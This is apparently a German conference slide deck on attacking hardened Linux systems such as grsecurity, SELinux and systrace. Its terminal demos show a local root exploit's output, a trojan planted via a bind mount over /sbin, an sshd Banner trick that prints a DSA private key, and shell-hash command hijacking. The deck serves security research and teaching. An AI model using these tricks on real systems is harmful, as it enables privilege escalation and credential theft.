Hardened OS exploitation

Sebastian Krahmer

Inhalt

- Exploitkiller/ACL
- evolution of Bugs
- passive/aktive Exploits
- Konfigurations- und Implementierungsfehler
- Targets - {root}

Exploitverhinderung

- verhindern, dass Impact möglich ist
- -x von Speicherseiten
- Restriktionen auf symlinks/FIFOs
- randomisieren des Adressraums
- härten des chroots
- PaX, Owl, grsecurity

ACL Systeme

- Eingrenzen des Impact
- Capabilities
- File-ACLs
- Markierung von Dateien und Prozessen
- SElinux, grsecurity, systrace, LIDS

Evolution of bugs

- alte Fehler sind sichtbar, neue Fehler nicht
- mehr Restriktionen, mehr Angriffspunkte, aber weniger Impact
- gestaffelte Exploits
- passive vs. aktive Exploits

Passive exploits

- keine Interaktion mit dem Ziel-user nötig
- weitaus grösserer Teil der exploits bisher passiv

```
user@lachs:~> ./a.out
Xmpd -- lame mpich 1.2.5 local root exploit.

sh-2.05b#
```

Aktive exploits (I)

- Ziel-user muss irgendetwas (das Richtige) tun
- oft zweiter Teil des gestaffelten Exploits
- DAC/UID bypassed, jetzt ist ACL an der Reihe
- geschicktes (!) unterschieben eines Trojaners
- kompletter Neuaudit der Programme für ACL Systeme erforderlich (root != root; fd 0,1,2)

Aktive exploits (II)

```
[root@lachs root]# cd /tmp/
[root@lachs tmp]# gradm2 -E
[root@lachs tmp]# dmesg|tail -3
eth0: no IPv6 routers present
grsec: From 192.168.0.2: Loaded grsecurity 2.0
[root@lachs tmp]# mkdir sbin
[root@lachs tmp]# cd sbin
[root@lachs sbin]# cat>gradm2.c
int main() { printf("Hello from trojan.\n"); return 0;}
^C
[root@lachs sbin]# cc gradm2.c -o gradm2
[root@lachs sbin]# mount -n --bind /tmp/sbin/ /sbin/
[root@lachs sbin]# gradm2 -D
Hello from trojan.
[root@lachs sbin]#
```

Konfigurationsfehler (I)

```
lachs:~ # wc -l /etc/security/selinux/src/policy.conf
32420 /etc/security/selinux/src/policy.conf
lachs:~ #

grsecurity 2.0 config:
        /etc/ssh        h
[...]
subject /usr/sbin/sshd {
        /etc/ssh r
        /dev/log rw
        +CAP_SYS_TTY_CONFIG
        +CAP_SYS_CHROOT
}
```

Konfigurationsfehler (II)

```
[root@lachs tmp]# grep Banner sshd_config;sshd -f sshd_config
Banner /etc/ssh/ssh_host_dsa_key
[root@lachs tmp]# ssh root@127.0.0.1 -p 2222
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCe+htJ5L1TjM2zXvGMYJMUMqdl1/BwKUaQtjy0KRh07eY4xYxy
NHxhlrs1wTfH4lb9wEU8Fd740UmvhCyugjb3L8YNgzDxsI4aesVhrZn7kQ8Gb87z
VC8eYvcWwr+JXQeELwwA/FtqLoVfws5byTUCCsoV2DZbBzFkrrPwgwVv1wIVAIkS
PR7dZ/UYIGym7i9lavJ9q6S5AoGAFQXRJsCR/j2/ES1ONm8xckw/yorIXRWzS7IW
AcO2OtKcPeRl3R+LGapkaQJeJLj4iHw93V0Kc8ZvkiCPNVYe3yPiSFGJIRAhePiv
aTL/HUjR+d62KOe38Wm/HXj+DqOlhmZOJSMj95Y/OMYA4O08tYijGR3mvyNg25C8
SNjwwOwCgYBR2EaNn5hC959RVDyIMt015oaVp03K5beO2Y+vR+7AmW7cKvP7f64M
ssWqZL6DmikuGxUzB6jtw0CJ3ZtEldkDthu3xwdUHMaSTjaaLS/AMfHimd0iD5VH
/D1fJ5giNf+u9la7tVMgLZkbiK0Mby8NnsqKPe8IfWLktSSbs+wX6wIUaoDXDiUe
WogddHJO8n9InhUy53w=
-----END DSA PRIVATE KEY-----
root@127.0.0.1's password:
```

Implementierungsfehler (cvs)

```
if (argument_vector_size <= argument_count)
{
    argument_vector_size *= 2;
    argument_vector =
       (char **) xrealloc ((char *)argument_vector,
                           argument_vector_size * sizeof (char *));
    if (argument_vector == NULL)
    {
        pending_error = ENOMEM;
        return;
    }
}
```

Implementierungsfehler (systrace entry

```
 testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
 jne tracesys
 cmpl $(NR_syscalls),%eax
 jae badsys
#ifdef CONFIG_SYSTRACE
 movl %esp,%eax
 call SYMBOL_NAME(systrace_intercept)
 [...]
tracesys:
 movl $-ENOSYS,EAX(%esp)
 call SYMBOL_NAME(syscall_trace)
 movl ORIG_EAX(%esp),%eax
 cmpl $(NR_syscalls),%eax
 jae tracesys_exit
 call *SYMBOL_NAME(sys_call_table)(,%eax,4)
 movl %eax,EAX(%esp)             # save the return value
tracesys_exit:
```

Und wenn der Angreifer nicht angreift?

- meist garnicht notwendig root zu werden
- ausnutzen applikationsspezifischer Besonderheiten (ssh Banner)
- user-scope hacking: LD_PRELOAD, pty, shell hashing

```
user@lachs:~> hash -p /usr/bin/id ssh
user@lachs:~> ssh
uid=500(user) gid=100(users) groups=100(users)
user@lachs:~>
```

Referenzen

- grsecurity
  http://grsecurity.net
- Openwall
  http://www.openwall.com
- SELinux
  http://www.nsa.gov/selinux
- ULexec
  http://www.hcunix.net/projects/ul_exec